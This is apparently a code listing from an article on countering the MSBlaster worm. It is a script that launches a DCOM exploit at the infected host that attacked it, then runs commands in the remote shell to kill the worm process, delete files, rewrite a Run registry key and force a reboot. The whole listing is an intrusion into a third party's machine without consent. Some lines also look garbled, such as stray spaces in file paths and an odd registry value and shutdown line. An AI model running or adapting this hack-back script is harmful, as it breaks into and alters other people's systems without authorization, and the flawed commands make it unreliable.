Listing A: Script to Clean MSBlaster from Originating Host
REM Launches a DCOM exploit toward the infected attacking host,
REM then runs cleaning commands in the remote DOS shell 
./dcom_exploit -d $1 << EOF
REM Executes the following orders on the host:
REM 1) Kill the running process msblast.exe
taskkill /f /im msblast.exe /t
REM 2) Eliminate the binary of the worm
del /f %SystemRoot%\system32\msblast.exe
REM 3) Clean the registry
echo Regedit4 > c: \cleanerMSB.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run]  >> c:\cleanerMSB.reg
echo "auto windows update" = "REM msblast.exe" >> c: \cleanerMSB.reg
regedit /s c: \cleanerMSB.reg
del /f c:\cleanerMSB.reg
REM N) Specific actions to update the Windows host could be added here
REM N+1) Reboot the host
shutdown -r -f -t 0 exit
EOF